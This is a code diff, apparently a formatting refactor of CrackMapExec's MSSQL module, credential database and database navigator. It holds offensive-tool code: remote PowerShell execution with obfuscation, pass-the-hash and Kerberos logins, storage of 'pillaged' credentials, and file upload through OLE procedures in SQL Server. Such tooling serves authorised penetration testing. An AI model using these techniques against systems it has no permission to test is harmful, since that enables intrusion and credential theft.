xgroup.add_argument(
"-X",
metavar="PS_COMMAND",
dest="ps_execute",
help="execute the specified PowerShell command",
)
psgroup = mssql_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts')
psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup.add_argument(
"--clear-obfscripts",
action="store_true",
help="Clear all cached obfuscated PowerShell scripts",
)
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt')
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt')
tgroup.add_argument(
"--put-file",
nargs=2,
metavar="FILE",
help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt",
)
tgroup.add_argument(
"--get-file",
nargs=2,
metavar="FILE",
help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt",
)
return parser
@@ -72,7 +110,7 @@ class mssql(connection):
"protocol": "MSSQL",
"host": self.host,
"port": self.args.port,
"hostname": "None"
"hostname": "None",
}
)
@@ -114,7 +152,13 @@ class mssql(connection):
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
self.mssql_instances = self.conn.getInstances(0)
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances))
self.db.add_host(
self.host,
self.hostname,
self.domain,
self.server_os,
len(self.mssql_instances),
)
try:
self.conn.disconnect()
@@ -122,9 +166,7 @@ class mssql(connection):
pass
def print_host_info(self):
self.logger.display(
f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})"
)
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
# if len(self.mssql_instances) > 0:
# self.logger.display("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
# for i, instance in enumerate(self.mssql_instances):
@@ -156,7 +198,16 @@ class mssql(connection):
return False
return True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
try:
self.conn.disconnect()
except:
@@ -175,18 +226,27 @@ class mssql(connection):
hashes = f":{ntlm_hash}"
nthash = ntlm_hash
if not all('' == s for s in [self.nthash, password, aesKey]):
if not all("" == s for s in [self.nthash, password, aesKey]):
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
else:
kerb_pass = ''
kerb_pass = ""
try:
res = self.conn.kerberosLogin(None, username, password, domain, hashes, aesKey, kdcHost=kdcHost, useCache=useCache)
res = self.conn.kerberosLogin(
None,
username,
password,
domain,
hashes,
aesKey,
kdcHost=kdcHost,
useCache=useCache,
)
if res is not True:
self.conn.printReplies()
return False
self.password = password
if username == '' and useCache:
if username == "" and useCache:
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
principal = ccache.principal.toPrincipal()
self.username = principal.components[0]
@@ -196,12 +256,12 @@ class mssql(connection):
self.domain = domain
self.check_if_admin()
out = u"{}{}{} {}".format(
f'{domain}\\' if not self.args.local_auth else '',
out = "{}{}{} {}".format(
f"{domain}\\" if not self.args.local_auth else "",
username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8),
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""),
)
self.logger.success(out)
if not self.args.local_auth:
@@ -209,11 +269,13 @@ class mssql(connection):
return True
except Exception as e:
self.logger.fail(
u"{}\\{}{} {}".format(
f'{domain}\\' if not self.args.local_auth else '',
username,
" from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}",
e))
"{}\\{}{} {}".format(
f"{domain}\\" if not self.args.local_auth else "",
username,
" from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}",
e,
)
)
return False
def plaintext_login(self, domain, username, password):
@@ -241,11 +303,11 @@ class mssql(connection):
if self.admin_privs:
self.db.add_admin_user("plaintext", domain, username, password, self.host)
out = u"{}{}:{} {}".format(
f'{domain}\\' if not self.args.local_auth else '',
out = "{}{}:{} {}".format(
f"{domain}\\" if not self.args.local_auth else "",
username,
process_secret(password),
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""),
)
self.logger.success(out)
if not self.args.local_auth:
@@ -254,9 +316,7 @@ class mssql(connection):
except BrokenPipeError as e:
self.logger.fail(f"Broken Pipe Error while attempting to login")
except Exception as e:
self.logger.fail(
f"{domain}\\{username}:{process_secret(password)}"
)
self.logger.fail(f"{domain}\\{username}:{process_secret(password)}")
self.logger.exception(e)
return False
@@ -283,7 +343,7 @@ class mssql(connection):
"",
domain,
":" + nthash if not lmhash else ntlm_hash,
not self.args.local_auth
not self.args.local_auth,
)
if res is not True:
self.conn.printReplies()
@@ -298,11 +358,11 @@ class mssql(connection):
if self.admin_privs:
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
out = u"{}\\{} {} {}".format(
out = "{}\\{} {} {}".format(
domain,
username,
process_secret(ntlm_hash),
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""),
)
self.logger.success(out)
if not self.args.local_auth:
@@ -311,16 +371,14 @@ class mssql(connection):
except BrokenPipeError as e:
self.logger.fail(f"Broken Pipe Error while attempting to login")
except Exception as e:
self.logger.fail(
f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}"
)
self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}")
return False
def mssql_query(self):
result = self.conn.sql_query(self.args.mssql_query)
self.logger.debug(f"SQL Query Result: {result}")
for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines():
if line.strip() != '':
if line.strip() != "":
self.logger.highlight(line.strip())
return self.conn._MSSQL__rowsPrinter.getMessage()
@@ -353,7 +411,14 @@ class mssql(connection):
return raw_output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True):
def ps_execute(
self,
payload=None,
get_output=False,
methods=None,
force_ps32=False,
dont_obfs=True,
):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
@@ -396,28 +461,27 @@ class mssql(connection):
for i, key in enumerate(self.replies[keys]):
if key["TokenType"] == TDS_ERROR_TOKEN:
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
self.lastError = SQLErrorException(
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
self.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
self._MSSQL__rowsPrinter.error(error)
elif key["TokenType"] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info(
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
self._MSSQL__rowsPrinter.info(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info(
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
)
self._MSSQL__rowsPrinter.info(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ")
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
if key["Type"] in (
TDS_ENVCHANGE_DATABASE,
TDS_ENVCHANGE_LANGUAGE,
TDS_ENVCHANGE_CHARSET,
TDS_ENVCHANGE_PACKETSIZE,
):
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
if record["OldValue"] == "":
record["OldValue"] = "None".encode('utf-16le')
elif record["NewValue"] == '':
record["NewValue"] = "None".encode('utf-16le')
record["OldValue"] = "None".encode("utf-16le")
elif record["NewValue"] == "":
record["NewValue"] = "None".encode("utf-16le")
if key["Type"] == TDS_ENVCHANGE_DATABASE:
_type = "DATABASE"
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
@@ -428,8 +492,6 @@ class mssql(connection):
_type = "PACKETSIZE"
else:
_type = f"{key['Type']:d}"
self._MSSQL__rowsPrinter.info(
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
)
self._MSSQL__rowsPrinter.info(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}")
tds.MSSQL.printReplies = printRepliesCME
+51 -100
View File
@@ -3,7 +3,11 @@
from sqlalchemy import MetaData, func, Table, select, insert, update, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy.exc import SAWarning
import warnings
@@ -22,35 +26,37 @@ class database:
self.db_engine = db_engine
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(
bind=self.db_engine,
expire_on_commit=True
)
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
@staticmethod
def db_schema(db_conn):
db_conn.execute('''CREATE TABLE "hosts" (
db_conn.execute(
"""CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"domain" text,
"os" text,
"instances" integer
)''')
)"""
)
# This table keeps track of which credential has admin access over which machine and vice-versa
db_conn.execute('''CREATE TABLE "admin_relations" (
db_conn.execute(
"""CREATE TABLE "admin_relations" (
"id" integer PRIMARY KEY,
"userid" integer,
"hostid" integer,
FOREIGN KEY(userid) REFERENCES users(id),
FOREIGN KEY(hostid) REFERENCES hosts(id)
)''')
)"""
)
# type = hash, plaintext
db_conn.execute('''CREATE TABLE "users" (
db_conn.execute(
"""CREATE TABLE "users" (
"id" integer PRIMARY KEY,
"credtype" text,
"domain" text,
@@ -58,7 +64,8 @@ class database:
"password" text,
"pillaged_from_hostid" integer,
FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id)
)''')
)"""
)
def reflect_tables(self):
with self.db_engine.connect() as conn:
@@ -67,12 +74,7 @@ class database:
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)
self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
"[-] This is probably because a newer version of CME is being ran on an old DB schema\n"
"[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n"
"[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema"
)
print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema")
exit()
def shutdown_db(self):
@@ -94,15 +96,11 @@ class database:
TODO: return inserted or updated row ids as a list
"""
cme_logger.debug(f"{domain} {ip} {os} {instances}")
if domain:
domain = domain.split(".")[0].upper()
else:
if not domain:
domain = ""
hosts = []
q = select(self.HostsTable).filter(
self.HostsTable.c.ip == ip
)
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.conn.execute(q).all()
cme_logger.debug(f"mssql add_host() - hosts returned: {results}")
@@ -136,21 +134,14 @@ class database:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable)
update_columns = {col.name: col for col in q.excluded if col.name not in 'id'}
q = q.on_conflict_do_update(
index_elements=self.HostsTable.primary_key,
set_=update_columns
)
self.conn.execute(
q,
hosts
)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.conn.execute(q, hosts)
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
"""
Check if this credential has already been added to the database, if not add it in.
"""
domain = domain.split('.')[0].upper()
user_rowid = None
credential_data = {}
@@ -168,7 +159,7 @@ class database:
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
func.lower(self.UsersTable.c.credtype) == func.lower(credtype)
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
)
results = self.conn.execute(q).all()
@@ -181,18 +172,16 @@ class database:
"pillaged_from_hostid": pillaged_from,
}
q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id)
self.conn.execute(q) # .first()
self.conn.execute(q) # .first()
else:
for user in results:
# might be able to just remove this if check, but leaving it in for now
if not user[3] and not user[4] and not user[5]:
q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id)
results = self.conn.execute(q) # .first()
results = self.conn.execute(q) # .first()
# user_rowid = results.id
cme_logger.debug(
f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})"
)
cme_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})")
return user_rowid
def remove_credentials(self, creds_id):
@@ -201,34 +190,27 @@ class database:
"""
del_hosts = []
for cred_id in creds_id:
q = delete(self.UsersTable).filter(
self.UsersTable.c.id == cred_id
)
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
del_hosts.append(q)
self.conn.execute(q)
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
domain = domain.split('.')[0].upper()
if user_id:
q = select(self.UsersTable).filter(
self.UsersTable.c.id == user_id
)
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
users = self.conn.execute(q).all()
else:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == credtype,
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
self.UsersTable.c.password == password
self.UsersTable.c.password == password,
)
users = self.conn.execute(q).all()
cme_logger.debug(f"Users: {users}")
like_term = func.lower(f"%{host}%")
q = q.filter(
self.HostsTable.c.ip.like(like_term)
)
q = q.filter(self.HostsTable.c.ip.like(like_term))
hosts = self.conn.execute(q).all()
cme_logger.debug(f"Hosts: {hosts}")
@@ -236,31 +218,22 @@ class database:
for user, host in zip(users, hosts):
user_id = user[0]
host_id = host[0]
link = {
"userid": user_id,
"hostid": host_id
}
link = {"userid": user_id, "hostid": host_id}
q = select(self.AdminRelationsTable).filter(
self.AdminRelationsTable.c.userid == user_id,
self.AdminRelationsTable.c.hostid == host_id
self.AdminRelationsTable.c.hostid == host_id,
)
links = self.conn.execute(q).all()
if not links:
self.conn.execute(
insert(self.AdminRelationsTable).values(link)
)
self.conn.execute(insert(self.AdminRelationsTable).values(link))
def get_admin_relations(self, user_id=None, host_id=None):
if user_id:
q = select(self.AdminRelationsTable).filter(
self.AdminRelationsTable.c.userid == user_id
)
q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id)
elif host_id:
q = select(self.AdminRelationsTable).filter(
self.AdminRelationsTable.c.hostid == host_id
)
q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id)
else:
q = select(self.AdminRelationsTable)
@@ -271,14 +244,10 @@ class database:
q = delete(self.AdminRelationsTable)
if user_ids:
for user_id in user_ids:
q = q.filter(
self.AdminRelationsTable.c.userid == user_id
)
q = q.filter(self.AdminRelationsTable.c.userid == user_id)
elif host_ids:
for host_id in host_ids:
q = q.filter(
self.AdminRelationsTable.c.hostid == host_id
)
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
self.conn.execute(q)
def is_credential_valid(self, credential_id):
@@ -287,7 +256,7 @@ class database:
"""
q = select(self.UsersTable).filter(
self.UsersTable.c.id == credential_id,
self.UsersTable.c.password is not None
self.UsersTable.c.password is not None,
)
results = self.conn.execute(q).all()
return len(results) > 0
@@ -298,19 +267,13 @@ class database:
"""
# if we're returning a single credential by ID
if self.is_credential_valid(filter_term):
q = select(self.UsersTable).filter(
self.UsersTable.c.id == filter_term
)
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
elif cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type
)
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
# if we're filtering by username
elif filter_term and filter_term != '':
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.username).like(like_term)
)
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
# otherwise return all credentials
else:
q = select(self.UsersTable)
@@ -322,9 +285,7 @@ class database:
"""
Check if this host ID is valid.
"""
q = select(self.HostsTable).filter(
self.HostsTable.c.id == host_id
)
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.conn.execute(q).all()
return len(results) > 0
@@ -336,29 +297,19 @@ class database:
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(
self.HostsTable.c.id == filter_term
)
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.conn.execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by domain controllers
elif filter_term == 'dc':
q = q.filter(
self.HostsTable.c.dc == True
)
elif filter_term == "dc":
q = q.filter(self.HostsTable.c.dc == True)
if domain:
q = q.filter(
func.lower(self.HostsTable.c.domain) == func.lower(domain)
)
q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain))
# if we're filtering by ip/hostname
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = select(self.HostsTable).filter(
self.HostsTable.c.ip.like(like_term) |
func.lower(self.HostsTable.c.hostname).like(like_term)
)
q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
results = self.conn.execute(q).all()
return results
+47 -71
View File
@@ -7,34 +7,38 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help
class navigator(DatabaseNavigator):
def display_creds(self, creds):
data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']]
data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]]
for cred in creds:
cred_id = cred[0]
credtype = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
# pillaged_from = cred[5]
links = self.db.get_admin_relations(user_id=cred_id)
data.append([cred_id, str(len(links)) + ' Host(s)', credtype, domain, username, password])
print_table(data, title='Credentials')
links = self.db.get_admin_relations(user_id=cred[0])
data.append(
[
cred[0], # cred_id
str(len(links)) + " Host(s)",
cred[1], # cred_type
cred[2], # domain
cred[3], # username
cred[4], # password
]
)
print_table(data, title="Credentials")
def display_hosts(self, hosts):
data = [['HostID', 'Admins', 'IP', 'Hostname', 'Domain', 'OS', 'DB Instances']]
data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]]
for host in hosts:
host_id = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
instances = host[5]
links = self.db.get_admin_relations(host_id=host_id)
data.append([host_id, str(len(links)) + ' Cred(s)', ip, hostname, domain, os, instances])
print_table(data, title='Hosts')
links = self.db.get_admin_relations(host_id=host[0])
data.append(
[
host[0],
str(len(links)) + " Cred(s)",
host[1],
host[2],
host[3],
host[4],
host[5],
]
)
print_table(data, title="Hosts")
def do_hosts(self, line):
filter_term = line.strip()
@@ -48,23 +52,16 @@ class navigator(DatabaseNavigator):
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
data = [["HostID", "IP", "Hostname", "Domain", "OS"]]
host_id_list = []
for host in hosts:
host_id = host[0]
host_id_list.append(host_id)
host_id_list.append(host[0])
data.append([host[0], host[1], host[2], host[3], host[4]])
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
print_table(data, title="Host(s)")
data.append([host_id, ip, hostname, domain, os])
print_table(data, title='Host(s)')
data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
for host_id in host_id_list:
links = self.db.get_admin_relations(host_id=host_id)
@@ -73,15 +70,8 @@ class navigator(DatabaseNavigator):
creds = self.db.get_credentials(filter_term=cred_id)
for cred in creds:
cred_id = cred[0]
domain = cred[1]
username = cred[2]
password = cred[3]
credtype = cred[4]
# pillaged_from = cred[5]
data.append([cred_id, credtype, domain, username, password])
print_table(data, title='Credential(s) with Admin Access')
data.append([cred[0], cred[4], cred[1], cred[2], cred[3]])
print_table(data, title="Credential(s) with Admin Access")
def do_creds(self, line):
filter_term = line.strip()
@@ -118,23 +108,16 @@ class navigator(DatabaseNavigator):
self.display_creds(creds)
else:
creds = self.db.get_credentials(filter_term=filter_term)
data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
cred_id_list = []
for cred in creds:
cred_id = cred[0]
cred_id_list.append(cred_id)
cred_id_list.append(cred[0])
data.append([cred[0], cred[1], cred[2], cred[3], cred[4]])
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
print_table(data, title="Credential(s)")
data.append([cred_id, credType, domain, username, password])
print_table(data, title='Credential(s)')
data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
data = [["HostID", "IP", "Hostname", "Domain", "OS"]]
for cred_id in cred_id_list:
links = self.db.get_admin_relations(user_id=cred_id)
@@ -143,20 +126,15 @@ class navigator(DatabaseNavigator):
hosts = self.db.get_hosts(host_id)
for host in hosts:
host_id = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
data.append([host_id, ip, hostname, domain, os])
print_table(data, title='Admin Access to Host(s)')
data.append([host[0], host[1], host[2], host[3], host[4]])
print_table(data, title="Admin Access to Host(s)")
def do_clear_database(self, line):
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
self.db.clear_database()
def help_clear_database(self):
@staticmethod
def help_clear_database():
help_string = """
clear_database
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
@@ -168,9 +146,8 @@ class navigator(DatabaseNavigator):
"""
Tab-complete 'creds' commands
"""
commands = ["add", "remove"]
mline = line.partition(' ')[2]
commands = ("add", "remove")
mline = line.partition(" ")[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]
@@ -178,8 +155,7 @@ class navigator(DatabaseNavigator):
"""
Tab-complete 'creds' commands
"""
commands = ["add", "remove", "hash", "plaintext"]
mline = line.partition(' ')[2]
commands = ("add", "remove", "hash", "plaintext")
mline = line.partition(" ")[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]
+3 -12
View File
@@ -59,23 +59,14 @@ class MSSQLEXEC:
try:
self.enable_ole()
hexdata = data.hex()
self.mssql_conn.sql_query("DECLARE @ob INT;"
"EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;"
"EXEC sp_OASetProperty @ob, 'Type', 1;"
"EXEC sp_OAMethod @ob, 'Open';"
"EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};"
"EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;"
"EXEC sp_OAMethod @ob, 'Close';"
"EXEC sp_OADestroy @ob;".format(hexdata, remote))
self.mssql_conn.sql_query("DECLARE @ob INT;" "EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;" "EXEC sp_OASetProperty @ob, 'Type', 1;" "EXEC sp_OAMethod @ob, 'Open';" "EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};" "EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;" "EXEC sp_OAMethod @ob, 'Close';" "EXEC sp_OADestroy @ob;".format(hexdata, remote))
self.disable_ole()
except Exception as e:
cme_logger.debug(f"Error uploading via mssqlexec: {e}")
def file_exists(self, remote):
try:
res = self.mssql_conn.batch(
f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
)[0]['n']
res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
return res == 1
except:
return False
@@ -89,4 +80,4 @@ class MSSQLEXEC:
f.write(binascii.unhexlify(data))
except Exception as e:
cme_logger.debug(f"Error downloading via mssqlexec: {e}")
cme_logger.debug(f"Error downloading via mssqlexec: {e}")

Some files were not shown because too many files have changed in this diff Show More